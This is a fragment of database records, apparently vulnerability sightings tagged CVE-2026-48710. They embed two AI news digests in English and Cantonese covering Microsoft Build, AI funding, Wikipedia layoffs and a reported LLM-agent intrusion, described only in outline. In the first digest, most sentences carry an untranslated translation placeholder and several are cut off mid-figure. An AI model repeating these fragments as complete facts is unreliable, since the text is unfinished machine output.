infrastructure investment\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n      \n    \n  \n\n  \n\n    \n\n      \n\ud83d\udd0d \ud83d\udd0d \u5be9\u8a08\u8207\u76e3\u7ba1\n      \n\n        \nWikipedia Editors Organize Strike Over AI-Driven Wikimedia Layoffs (\u7ffb\u8b6f\u6a19\u984c)\n        \n\nWikipedia volunteer editors are organizing a strike over Wikimedia Foundation layoffs that editors attribute to AI-driven cost-cutting\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe situation puts in sharp relief a tension that has been building across knowledge institutions: AI can generate content, summarize sources, and identify factual inconsistencies at scale\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nWikipedia is one of the world's most-cited information sources for AI training data\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n      \n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \nDemis Hassabis Shifts AGI Timeline to 2029, Calling It a \"Real Possibility\" (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nGoogle DeepMind CEO Demis Hassabis publicly shifted his AGI (Artificial General Intelligence) arrival estimate to 2029, calling it \"a real possibility\" in media interviews this week\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe 2029 estimate should be interpreted carefully\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe broader industry context: Jack Clark (Anthropic) said 60%+ probability of recursive self-improvement by end of 2028\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \nOpenAI Launches Rosalind Biodefense Program for US Government Pandemic Preparedness (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nOpenAI launched the Rosalind Biodefense Program on May 29, 2026, expanding GPT-Rosalind access to US government agencies and allied partners for pandemic preparedness applications\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe program gives government agencies access to GPT-Rosalind for: pandemic outbreak modeling, pathogen surveillance and variant identification, vaccine candidate prioritization, and public health response scenario planning\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe naming choice is deliberate\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\u2601\ufe0f \u2601\ufe0f \u4f01\u696d AI / \u57fa\u5efa\n      \nFoundation's Phantom Humanoid Robots Deployed to Ukraine -- First Combat-Theater Humanoid Deployment (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nFoundation Future Industries deployed its Phantom MK-1 humanoid robots to Ukraine for battlefield testing, marking the first combat-theater deployment of humanoid robots in history\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe deployment is described as \"testing\" rather than active combat operations -- the robots are being evaluated for logistics tasks such as carrying supplies, clearing debris, and conducting damage assessments in areas too dangerous for human personnel\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe deployment crosses a threshold that has been approaching since Boston Dynamics's Spot and similar platforms were deployed for surveillance: fully humanoid robots, capable of bipedal movement and dexterous manipulation, operating in an active combat theater\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcbb \ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nGitHub Copilot Token Billing Goes Live Today -- \"What a Joke\" Is Trending on Reddit and X (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nToday, June 1, 2026, is the day GitHub Copilot switched from flat subscription pricing to token-based billing across all plans\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nWhy the cost increase? Token-based billing charges for exactly what gets consumed\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe defenders of the change are also real: experienced developers who manage their prompts efficiently report that their costs are flat or even lower under the new model\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udd16 \ud83e\udd16 AI \u4ee3\u7406 / \u6846\u67b6\n      \nSysdig Documents First Confirmed LLM Agent Cyberattack -- AWS Database Exfiltrated Autonomously in Under an Hour (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nSecurity firm Sysdig documented the first live cyberattack in which an LLM agent autonomously performed post-exploitation actions -- including exfiltrating an AWS database -- in under an hour\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nCVE-2026-48710, labeled \"BadHost,\" is a host header injection vulnerability that allows unauthenticated remote attackers to bypass authentication by manipulating the HTTP Host header\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe implications are significant\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcbb \ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nMicrosoft Build 2026 Opens Tomorrow -- What to Watch and How to Stream Free (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nMicrosoft Build 2026 opens tomorrow, June 2, at Fort Mason Center in San Francisco\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe three things to watch most closely:\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nMAI coding model announcement: Reuters and The Information confirmed Microsoft will unveil homegrown AI models including a coding model to strengthen GitHub Copilot\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcca \ud83d\udcca \u5e02\u5834\u8207\u8ca1\u7d93\n      \nAnthropic Raised $65 Billion at a $965 Billion Valuation -- The Largest AI Round in History (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nBloomberg confirmed on May 29, 2026, that Anthropic raised $65 billion in a funding round that valued the company at $965 billion post-money -- surpassing OpenAI's $852 billion private market valuation for the first time and making it the most valuable private AI company in the world\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe structure: the round involved not just equity but an associated $36 billion private credit facility from Apollo Global Management and Blackstone (covered separately in the next story)\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe Sequoia / Dragoneer / Altimeter / Greenoaks co-lead structure from the initial $30 billion round remained intact\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcca \ud83d\udcca \u5e02\u5834\u8207\u8ca1\u7d93\n      \nCognition's Devin Raised $1 Billion at $26 Billion -- Revenue Grew 1,230% in 12 Months (\u7ffb\u8b6f\u6a19\u984c)\n      \n\nCognition, the startup behind Devin (the autonomous AI software engineer), announced on May 28, 2026, that it has raised more than $1 billion at a $25 billion pre-money / $26 billion post-money valuation\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe revenue trajectory is the story\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe valuation jump is dramatic: from $10\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n    \n  \n\n\n  \n\n    \n\n      \n\ud83d\udcf0 \u4f86\u6e90\uff1aBuild Fast with AI | Delivered: 2026-06-03 08:05 HKT\n    \n  \n\n  \n\n\n", "creation_timestamp": "2026-06-03T00:05:32.000000Z"}, {"uuid": "fa14a6f7-e862-4c8e-9a39-3e394c2cc275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://gist.github.com/friendsalot66-cpu/d3992f0cb96eca4c4a660edee517701e", "content": "\n\n\n\n\nAI News Digest - 2026\u5e746\u67083\u65e5\n\n  body { font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif; line-height: 1.6; color: #333; margin: 0; background-color: #f4f7f6; overflow: hidden; height: 100dvh; }\n  .snap-container { height: 100dvh; overflow-y: scroll; scroll-snap-type: y mandatory; scroll-behavior: smooth; }\n  .snap-section { height: 100dvh; scroll-snap-align: start; scroll-snap-stop: always; display: flex; flex-direction: column; justify-content: center; align-items: center; padding: 0 15px; box-sizing: border-box; }\n  .content-card { max-width: 800px; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); width: 100%; box-sizing: border-box; max-height: 90vh; overflow-y: auto; }\n  h1 { color: #2c3e50; border-bottom: 3px solid #3498db; padding-bottom: 12px; margin-top: 0; font-size: 1.5em; }\n  h2.category { color: #e67e22; margin-top: 0; border-bottom: 1px solid #eee; padding-bottom: 8px; font-size: 1.2em; }\n  h3.headline { color: #2980b9; margin-bottom: 8px; font-size: 1.15em; }\n  ul { margin-top: 8px; padding-left: 22px; }\n  li { margin-bottom: 10px; color: #444; }\n  .footer { margin-top: 45px; font-size: 0.9em; color: #95a5a6; border-top: 1px solid #eee; padding-top: 20px; text-align: center; }\n  .subtitle { color: #7f8c8d; font-size: 1.0em; font-style: italic; margin-bottom: 20px; }\n  .summary-box { background: #e8f4f8; padding: 15px 20px; border-radius: 8px; margin-bottom: 20px; border-left: 4px solid #3498db; }\n  .summary-box h2 { margin-top: 0; font-size: 1.1em; color: #2c3e50; margin-bottom: 10px; }\n  .summary-table { width: 100%; border-collapse: collapse; margin-top: 10px; background: #fff; }\n  .summary-table th, .summary-table td { border: 1px solid #bdd4e7; padding: 8px; text-align: left; font-size: 0.9em; }\n  .summary-table th { background-color: #d1e8f2; color: #2c3e50; font-weight: 600; }\n  .highlight-box { background-color: #f0f7fb; border-left: 5px solid #2980b9; padding: 15px 20px; margin: 15px 0; border-radius: 0 8px 8px 0; }\n\n\n\n\n\n\n  \n\n    \n\n      \n\ud83d\udcf0 AI \u65b0\u805e\u91cd\u9ede \u2014 2026\u5e746\u67083\u65e5\n      \n\u4eca\u65e5 15 \u5247\u4f60\u6700\u9700\u8981\u77e5\u5605 AI \u65b0\u805e\uff082026/06/03 Build \u7b2c\u4e8c\u65e5\u5831\u5c0e\uff09\n      \n\n        \n\ud83d\udccb \u4eca\u65e5\u65b0\u805e\u901f\u89bd\n        \n\n          StoryCompanyWhy It Matters\n          \n            \ud83e\udde0 MAI-Thinking-1\uff1aMicrosoft \u65d7\u8266\u63a8\u7406\u6a21\u578b\u8ffd\u8cbc Claude...\ud83e\udde0 LLMMustafa Suleyman \u55ba Build Day 2 \u6b63\u5f0f\u767c\u5e03 MAI-Thinking-1\uff0cMicrosoft...\n            \ud83e\udde0 Aion 1.0 Instruct \u540c Plan\uff1aWindows \u5605\u672c\u5730\u5c0f\u578b\u8a9e\u8a00...\ud83e\udde0 LLMMicrosoft \u55ba Build 2026 \u63a8\u51fa\u5169\u500b\u65b0 on-device SLM\uff1aAion 1.0 Instruct...\n            \ud83c\udfe6 Majorana 2\uff1aMicrosoft \u76ee\u6a19 2029 \u5e74\u91cf\u7522\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\ud83c\udfe6 \u91d1\u878d\u6a5f\u69cbNadella \u55ba Build keynote \u5c3e\u8072\u5ba3\u5e03 Majorana 2\u2014\u2014\u7b2c\u4e8c\u4ee3\u91cf\u5b50\u8655\u7406\u5668\u3002Majorana 1...\n            \ud83e\udde0 MRC \u7db2\u7d61\u5354\u8b70\uff1aMicrosoft\u3001AMD\u3001Broadcom\u3001Intel\u3001Op...\ud83e\udde0 LLMMicrosoft \u55ba Build 2026 \u5ba3\u5e03 MRC \u5354\u8b70\u2014\u2014\u540c AMD\u3001Broadcom\u3001Intel\u3001OpenA...\n            \ud83e\udde0 \u4e94\u6a21\u578b Code Review \u57fa\u6e96\u6e2c\u8a66\uff1a\u908a\u500b AI \u7747 Bug-Seeded ...\ud83e\udde0 LLMReddit \u4e0a\u9031\u71b1\u9580 benchmark\uff1a\u7528 Grok\u3001Claude Opus 4.8\u3001Sonnet 4.6\u3001GPT-...\n            \u2601\ufe0f Surface RTX Spark Dev Box\uff1a1 Petaflop AI ...\u2601\ufe0f \u4f01\u696d AIMicrosoft \u767c\u5e03 Surface RTX Spark Dev Box\u2014\u2014\u57fa\u65bc NVIDIA RTX \u5605\u958b\u767c\u5de5\u4f5c\u7ad9...\n            \u2601\ufe0f Microsoft + Mayo Clinic\uff1a\u70ba\u5168\u7403\u91ab\u7642\u5065\u5eb7\u6253\u9020 Fronti...\u2601\ufe0f \u4f01\u696d AIMayo Clinic CEO \u89aa\u81ea\u4e0a\u53f0\u5ba3\u5e03\u540c Microsoft \u5408\u4f5c\u958b\u767c\u300c\u5c08\u70ba\u91ab\u7642\u5065\u5eb7\u5605 frontier mode...\n            \u2601\ufe0f Web IQ \u540c Azure HorizonDB\uff1aAgent \u4e92\u806f\u7db2\u667a\u80fd\u540c\u5c08\u7528 ...\u2601\ufe0f \u4f01\u696d AIWeb IQ\uff1aMicrosoft \u65b0 AI \u7cfb\u7d71\uff0c\u7540 agent \u5b58\u53d6\u7d50\u69cb\u5316\u5be6\u6642\u516c\u958b\u7db2\u7d61\u8cc7\u8a0a\uff08\u80a1\u50f9\u3001\u76e3\u7ba1\u66f4\u65b0\u3001\u65b0\u805e\uff09\uff0c\u540c...\n            \u2601\ufe0f Maia 200 \u540c Cobalt 200\uff1aMicrosoft \u81ea\u5bb6\u6676\u7247\u6295\u7522\u540c\u9810...\u2601\ufe0f \u4f01\u696d AINadella \u78ba\u8a8d Maia 200\uff08\u7b2c\u4e8c\u4ee3 AI \u52a0\u901f\u5668\uff09\u5df2\u7d93\u55ba Iowa \u540c Arizona \u6295\u7522\uff0c\u4e0b\u4e00\u6b65\u64f4\u5c55\u5230\u610f...\n            \ud83e\udd16 Scout\uff1a\u8de8\u6240\u6709\u5df2\u958b\u61c9\u7528\u7a0b\u5f0f\u5605 AI Agent\ud83e\udd16 AI \u4ee3\u7406Microsoft \u767c\u5e03 Scout\u2014\u2014\u55ba\u4f60\u5de5\u4f5c\u5605\u5730\u65b9\u5de5\u4f5c\uff0c\u7121\u8ad6\u4fc2\u54a9 app\u300d\u5605\u8de8\u61c9\u7528 AI agent\u3002\u76e3\u63a7\u4f60 des...\n            \ud83d\udcbb Sam Altman \u55ba Stargate Michigan\uff1aCoding Mo...\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177CNBC \u8a2a\u554f Sam Altman \u55ba Stargate Michigan\u3002Altman \u8a71\u300cCoding model...\n            \ud83d\udcbb \u4e2d\u570b Geedge Networks\uff1a\u7528 AI \u9810\u6e2c\u653f\u6cbb\u7570\u898b\u4eba\u58eb\uff08\u672a\u884c\u52d5\u524d\uff09\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\u4e2d\u570b AI \u516c\u53f8 Geedge Networks \u6b63\u5efa\u7acb AI \u7cfb\u7d71\uff0c\u7528\u884c\u70ba\u6578\u64da\u3001\u793e\u4ea4\u5a92\u9ad4\u6d3b\u52d5\u3001\u901a\u8a0a\u6a21\u5f0f\u9810\u6e2c\u908a\u500b\u6709\u53ef\u80fd\u6210...\n            \ud83d\udcbb AI Prompt Injection 2026\uff1a\u76f4\u63a5\u8986\u84cb\u6210\u6b77\u53f2\uff0c\u591a\u6b65\u9a5f\u52ab\u6301\u6210\u4e3b...\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\u751f\u7522\u6578\u64da\u986f\u793a 2026 \u5e74 prompt injection \u653b\u64ca\u540c 2023 \u5e74\u5b8c\u5168\u5514\u540c\u30022023 \u5e74\u4e3b\u6d41\u4fc2\u76f4\u63a5\u8986\u84cb\u6307...\n            \ud83d\udd2c Microsoft Discovery GA\uff1aAI \u81ea\u52d5\u8a2d\u8a08\u5be6\u9a57\u3001\u5beb\u8ad6\u6587\u3001\u63d0\u4ea4 ...\ud83d\udd2c \u7814\u7a76\u8207\u8da8\u52e2Microsoft Discovery \u79d1\u7814 AI \u5e73\u53f0\u6b63\u5f0f GA\u3002VP \u793a\u7bc4\u7528 Discovery \u6539\u5584\u5851\u81a0\u56de\u6536\u5316\u5b78\u2014...\n            \ud83d\udcca SpaceX + Anthropic + OpenAI IPO \u6216\u70ba\u7f8e\u570b\u80a1\u5e02\u589e\u52a0...\ud83d\udcca \u5e02\u5834\u8207\u8ca1\u7d93The Economist \u5206\u6790\uff1a\u5982\u679c SpaceX\u3001Anthropic\u3001OpenAI \u4e09\u9593\u516c\u53f8\u90fd\u55ba 2026 \u5e74\u5b8c\u6210 ...\n          \n        \n      \n    \n  \n\n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \nMAI-Thinking-1\uff1aMicrosoft \u65d7\u8266\u63a8\u7406\u6a21\u578b\u8ffd\u8cbc Claude Sonnet 4.6\n      \n\n            \nMustafa Suleyman \u55ba Build Day 2 \u6b63\u5f0f\u767c\u5e03 MAI-Thinking-1\uff0cMicrosoft AI \u5605\u65d7\u8266\u63a8\u7406\u6a21\u578b\u3002\u5b98\u65b9\u8072\u7a31\u300c\u55ba\u95dc\u9375\u8edf\u4ef6\u5de5\u7a0b\u57fa\u6e96\u8ffd\u8cbc\u9818\u5148\u6a21\u578b\uff0c\u76f2\u6e2c\u4e2d\u9054\u5230\u8207 Sonnet 4.6 \u5605\u4eba\u985e\u504f\u597d\u5e73\u624b\u300d\u2014\u2014\u5373\u4fc2\u540c Claude Sonnet 4.6 \u540c\u7d1a\uff0c\u800c\u5187\u8a71\u8d0f GPT-5.5 \u6216 Opus 4.8\u3002\n            \n\u5c08\u70ba\u63a8\u7406\u5bc6\u96c6\u578b\u4efb\u52d9\u8a2d\u8a08\uff1a\u591a\u6b65\u9a5f\u554f\u984c\u5206\u89e3\u3001\u8edf\u4ef6\u5de5\u7a0b\u3001\u7814\u7a76\u7d9c\u5408\u3002\u540c Project Polaris\uff08GitHub Copilot \u5c08\u7528\uff09\u5514\u540c\uff0cMAI-Thinking-1 \u4fc2\u901a\u7528\u63a8\u7406\u6a21\u578b\uff0c\u6703\u7528\u55ba M365 Copilot Agent Mode\uff08Word\u3001Excel\u3001PowerPoint\uff09\u3002\n            \n\u5982\u679c\u771f\u4fc2\u505a\u5230 Sonnet 4.6 \u7d1a\u6578\u4f46\u900f\u904e Azure \u4f01\u696d\u6298\u6263\u5e73\u904e Sonnet 4.6\uff08$3/$15 per million tokens\uff09\uff0c\u5c0d\u65bc Azure-heavy \u5605\u4f01\u696d\u569f\u8b1b\uff0c\u63a1\u8cfc\u8a08\u6578\u6703\u5b8c\u5168\u5514\u540c\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \nAion 1.0 Instruct \u540c Plan\uff1aWindows \u5605\u672c\u5730\u5c0f\u578b\u8a9e\u8a00\u6a21\u578b\n      \n\n            \nMicrosoft \u55ba Build 2026 \u63a8\u51fa\u5169\u500b\u65b0 on-device SLM\uff1aAion 1.0 Instruct\uff08\u9810\u89bd\uff09\u4fc2\u65b0\u4e00\u4ee3 SLM\uff0c\u5c08\u70ba\u672c\u5730\u6307\u4ee4\u8ddf\u9032\u800c\u8a2d\uff0c\u5514\u4f7f Copilot+ PC \u90fd\u7528\u5f97\uff1bAion 1.0 Plan \u4fc2 14B \u53c3\u6578\u63a8\u7406+\u5de5\u5177\u8abf\u7528\u6a21\u578b\uff0c\u5c08\u70ba Windows \u672c\u5730 agent \u5de5\u4f5c\u6d41\u800c\u8a2d\u3002\n            \n14B \u53c3\u6578\u5462\u500b\u4f4d\u597d\u6709\u610f\u601d\uff1a\u5927\u904e Phi Silica \u4f46\u7d30\u904e Claude Sonnet 4.6 \u6216 GPT-5.5\uff0c\u5c6c\u65bc\u300c\u672c\u5730\u524d\u6cbf\u300d\u985e\u5225\u2014\u2014\u5920\u529b\u505a\u8907\u96dc agent \u4efb\u52d9\u898f\u5283\uff0c\u540c\u6642\u55ba\u73fe\u4ee3 laptop GPU \u4e0a\u8dd1\u5f97\u9806\u5514\u4f7f\u4f86\u56de cloud\u3002\n            \nAion 1.0 Plan \u6574\u5408\u5497\u5165 Windows Agent Framework \u6210\u70ba\u672c\u5730 agent \u5605\u63a8\u7406\u5c64\u3002WAF + Aion 1.0 Plan + DirectML 2.0 \u5c31\u4fc2 Microsoft \u5b8c\u6574\u5605 on-device AI stack\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83c\udfe6 \ud83c\udfe6 \u91d1\u878d\u6a5f\u69cb\n      \nMajorana 2\uff1aMicrosoft \u76ee\u6a19 2029 \u5e74\u91cf\u7522\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\n      \n\n            \nNadella \u55ba Build keynote \u5c3e\u8072\u5ba3\u5e03 Majorana 2\u2014\u2014\u7b2c\u4e8c\u4ee3\u91cf\u5b50\u8655\u7406\u5668\u3002Majorana 1 \u4fc2\u300c\u8b49\u660e\u57fa\u790e\u7269\u7406\u53ef\u884c\u300d\uff0cMajorana 2 \u4fc2\u300c\u958b\u59cb\u5de5\u7a0b\u898f\u6a21\u5316\u300d\u3002\u516c\u53f8\u76ee\u6a19 2029 \u5e74\u524d\u63a8\u51fa\u53ef\u64f4\u5c55\u91cf\u5b50\u96fb\u8166\u3002\n            \nMajorana \u7528\u62d3\u64b2\u91cf\u5b50\u4f4d\u5143\uff0c\u540c IBM/Google \u5605\u8d85\u5c0e\u91cf\u5b50\u4f4d\u5143\u5b8c\u5168\u5514\u540c\u3002\u7406\u8ad6\u4e0a\u66f4\u7a69\u5b9a\u66f4\u5c11\u932f\u8aa4\uff0c\u4f46\u5de5\u7a0b\u4e0a\u597d\u96e3\u641e\u30021 \u5fae\u79d2\u64cd\u4f5c\u6642\u9593\u4fc2\u95dc\u9375\u2014\u2014\u5fae\u79d2\u7d1a\u91cf\u5b50\u9598\u4ee4\u96fb\u8def\u53ef\u4ee5\u8907\u96dc\u597d\u591a\u5148\u88ab\u9000\u76f8\u5e72\u5f71\u97ff\u3002\n            \n\u5462\u500b\u6642\u9593\u8868\uff082029\uff09\u76f4\u63a5\u58d3\u8feb IBM\uff08\u76ee\u6a19 2033\u300c\u5bb9\u932f\u300d\u91cf\u5b50\uff09\u540c Google\uff08\u76ee\u6a19 2030 \u5e74\u4ee3\u521d\uff09\u3002\u5982\u679c\u505a\u5230\uff0cMicrosoft \u6703\u540c\u6642\u55ba\u91cf\u5b50\u8a08\u7b97\u540c AI \u57fa\u5efa\u5169\u500b\u9818\u57df\u4f54\u64da\u7368\u7279\u4f4d\u7f6e\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \nMRC \u7db2\u7d61\u5354\u8b70\uff1aMicrosoft\u3001AMD\u3001Broadcom\u3001Intel\u3001OpenAI\u3001NVIDIA \u5171\u5efa\u958b\u653e\u6a19\u6e96\n      \n\n            \nMicrosoft \u55ba Build 2026 \u5ba3\u5e03 MRC \u5354\u8b70\u2014\u2014\u540c AMD\u3001Broadcom\u3001Intel\u3001OpenAI\u3001NVIDIA \u5171\u540c\u958b\u767c\u5605\u958b\u653e\u7db2\u7d61\u5354\u8b70\u3002\u5c07\u667a\u80fd\u653e\u5230\u7db2\u7d61\u7aef\u9ede\uff0c\u7b49 AI \u5de5\u4f5c\u8ca0\u8f09\u53ef\u4ee5\u52d5\u614b\u7e5e\u904e\u7db2\u7d61\u6545\u969c\u800c\u5514\u4f7f\u505c\u6a5f\u91cd\u555f\u3002\n            \n\u554f\u984c\u597d\u73fe\u5be6\uff1a\u5927\u898f\u6a21 AI \u8a13\u7df4\u7528\u6210\u5343\u4e0a\u842c GPU\uff0c\u4efb\u4f55\u7db2\u7d61\u6545\u969c\u90fd\u53ef\u4ee5\u4ee4\u904b\u884c\u5497\u5e7e\u65e5\u5605 job \u505c\u9813\u6216\u91cd\u555f\u3002MRC \u5bb9\u8a31 job \u52d5\u614b\u7e5e\u8def\u7e7c\u7e8c\uff0c\u9810\u8a08\u6e1b\u5c11 15-25% \u7db2\u7d61\u6545\u969c\u8a08\u7b97\u6d6a\u8cbb\u3002\n            \n\u591a\u9593\u7af6\u722d\u5c0d\u624b\u4e00\u9f4a\u958b\u767c\uff0c\u986f\u793a MRC \u4fc2\u5b9a\u4f4d\u505a\u696d\u754c\u6a19\u6e96\u800c\u5514\u4fc2 Microsoft \u7368\u6709\u6280\u8853\u3002\n      \n    \n  \n  \n\n    \n\n      \n\ud83e\udde0 \ud83e\udde0 LLM / \u57fa\u790e\u6a21\u578b\n      \n\u4e94\u6a21\u578b Code Review \u57fa\u6e96\u6e2c\u8a66\uff1a\u908a\u500b AI \u7747 Bug-Seeded React Code \u6700\u53fb\uff1f\n      \n\n            \nReddit \u4e0a\u9031\u71b1\u9580 benchmark\uff1a\u7528 Grok\u3001Claude Opus 4.8\u3001Sonnet 4.6\u3001GPT-5.5\u3001Gemini 3.5 Flash \u5206\u5225 review \u540c\u4e00\u6bb5 bug-seeded React code\uff0c\u7531\u8cc7\u6df1\u958b\u767c\u8005\u76f2\u8a55\u3002\n            \nOpus 4.8 bug detection \u6392\u7b2c\u4e00\uff0c\u5c24\u5176\u64c5\u9577\u5b89\u5168 bugs\uff08\u8a8d\u8b49\u7e5e\u904e\u3001\u6ce8\u5165\u3001CSRF\uff09\uff1bSonnet 4.6 \u6392\u7b2c\u4e8c\u4f46\u5feb\u597d\u591a\uff0c\u6027\u50f9\u6bd4\u6700\u9ad8\uff1bGPT-5.5 \u6392\u7b2c\u4e09\uff0c\u5f37\u9805\u4fc2 code style \u540c\u6280\u8853\u50b5\uff1bGemini Flash \u6392\u7b2c\u56db\u4f46\u6700\u5feb\uff1bGrok \u6392\u7b2c\u4e94\u53cd\u800c\u6700\u64c5\u9577\u6349 performance bottleneck\u3002\n            \n\u96d6\u7136\u6709\u7d71\u8a08\u9650\u5236\uff0c\u4f46\u5462\u500b\u7d50\u679c\u540c\u6b63\u5f0f benchmark \u5605\u6a21\u5f0f\u4e00\u81f4\uff1aOpus \u9818\u5148 code quality\uff0cSonnet \u6027\u50f9\u6bd4\u6700\u597d\uff0cGemini Flash \u6700\u5feb\u3002\n      \n    \n  \n  \n\n    \n\n      \n\u2601\ufe0f \u2601\ufe0f \u4f01\u696d AI / \u57fa\u5efa\n      \nSurface RTX Spark Dev Box\uff1a1 Petaflop AI \u7b97\u529b\uff0cNadella \u7b11\u8a71\u81ea\u5df1\u90fd\u62ce\u5514\u5230\n      \n\n            \nMicrosoft \u767c\u5e03 Surface RTX Spark Dev Box\u2014\u2014\u57fa\u65bc NVIDIA RTX \u5605\u958b\u767c\u5de5\u4f5c\u7ad9\uff0c1 petaflop AI \u7b97\u529b\u52a0 20 CPU \u6838\u5fc3\u3002Nadella \u7b11\u8a71\u9023\u81ea\u5df1\u90fd\u6392\u5514\u5230 waitlist\u3002\n            \n\u5b9a\u4f4d\u4fc2\u7540\u958b\u767c\u8005\u55ba\u672c\u5730\u6e2c\u8a66\u751f\u7522\u7d1a AI agent \u63a8\u7406\u901f\u5ea6\u5f8c deploy \u4e0a Azure\u30021 petaflop \u6bd4\u76ee\u524d\u9ad8\u968e RTX \u5de5\u4f5c\u7ad9\uff08320-600 teraflops\uff09\u660e\u986f\u66f4\u5f37\u3002\n      \n    \n  \n  \n\n    \n\n      \n\u2601\ufe0f \u2601\ufe0f \u4f01\u696d AI / \u57fa\u5efa\n      \nMicrosoft + Mayo Clinic\uff1a\u70ba\u5168\u7403\u91ab\u7642\u5065\u5eb7\u6253\u9020 Frontier AI \u6a21\u578b\n      \n\n            \nMayo Clinic CEO \u89aa\u81ea\u4e0a\u53f0\u5ba3\u5e03\u540c Microsoft \u5408\u4f5c\u958b\u767c\u300c\u5c08\u70ba\u91ab\u7642\u5065\u5eb7\u5605 frontier model\u300d\uff0c\u7528 Mayo Clinic \u5605\u81e8\u5e8a\u5c08\u696d\u540c\u7814\u7a76\u77e5\u8b58\u8a13\u7df4\uff0c\u76ee\u6a19\u4fc2\u5c07\u670d\u52d9\u5ef6\u4f38\u5230\u5168\u7403\u6578\u767e\u842c\u4eba\u3002\n            \n\u7d30\u7bc0\u523b\u610f\u6a21\u7cca\u2014\u2014\u5187\u6a21\u578b\u67b6\u69cb\u3001\u8a13\u7df4\u6578\u64da\u6216\u6642\u9593\u8868\u3002\u4f46\u6703\u900f\u904e Azure \u90e8\u7f72\uff0c\u505a\u81e8\u5e8a\u6c7a\u7b56\u652f\u63f4\u3001\u75c5\u4eba\u5206\u6d41\u3001\u91ab\u5b78\u77e5\u8b58\u554f\u7b54\uff0c\u5514\u4fc2\u76f4\u63a5\u8a3a\u65b7\u3002\n            \nMayo Clinic \u7528 150 \u5e74\u5efa\u7acb\u5605\u8072\u8b7d\u7d81\u5b9a\u55ba Microsoft AI \u6a21\u578b\u4e0a\uff0c\u4fc2\u91cd\u5927 institutional endorsement\u3002\u5c0d\u65bc\u8003\u616e\u63a1\u7528 AI \u5605\u91ab\u7642\u6a5f\u69cb\uff0cMayo Clinic \u53c3\u8207\u9664\u5497\u6280\u8853\u50f9\u503c\u4ef2\u6709\u4fe1\u8b7d\u80cc\u66f8\u3002\n      \n    \n  \n  \n\n    \n\n      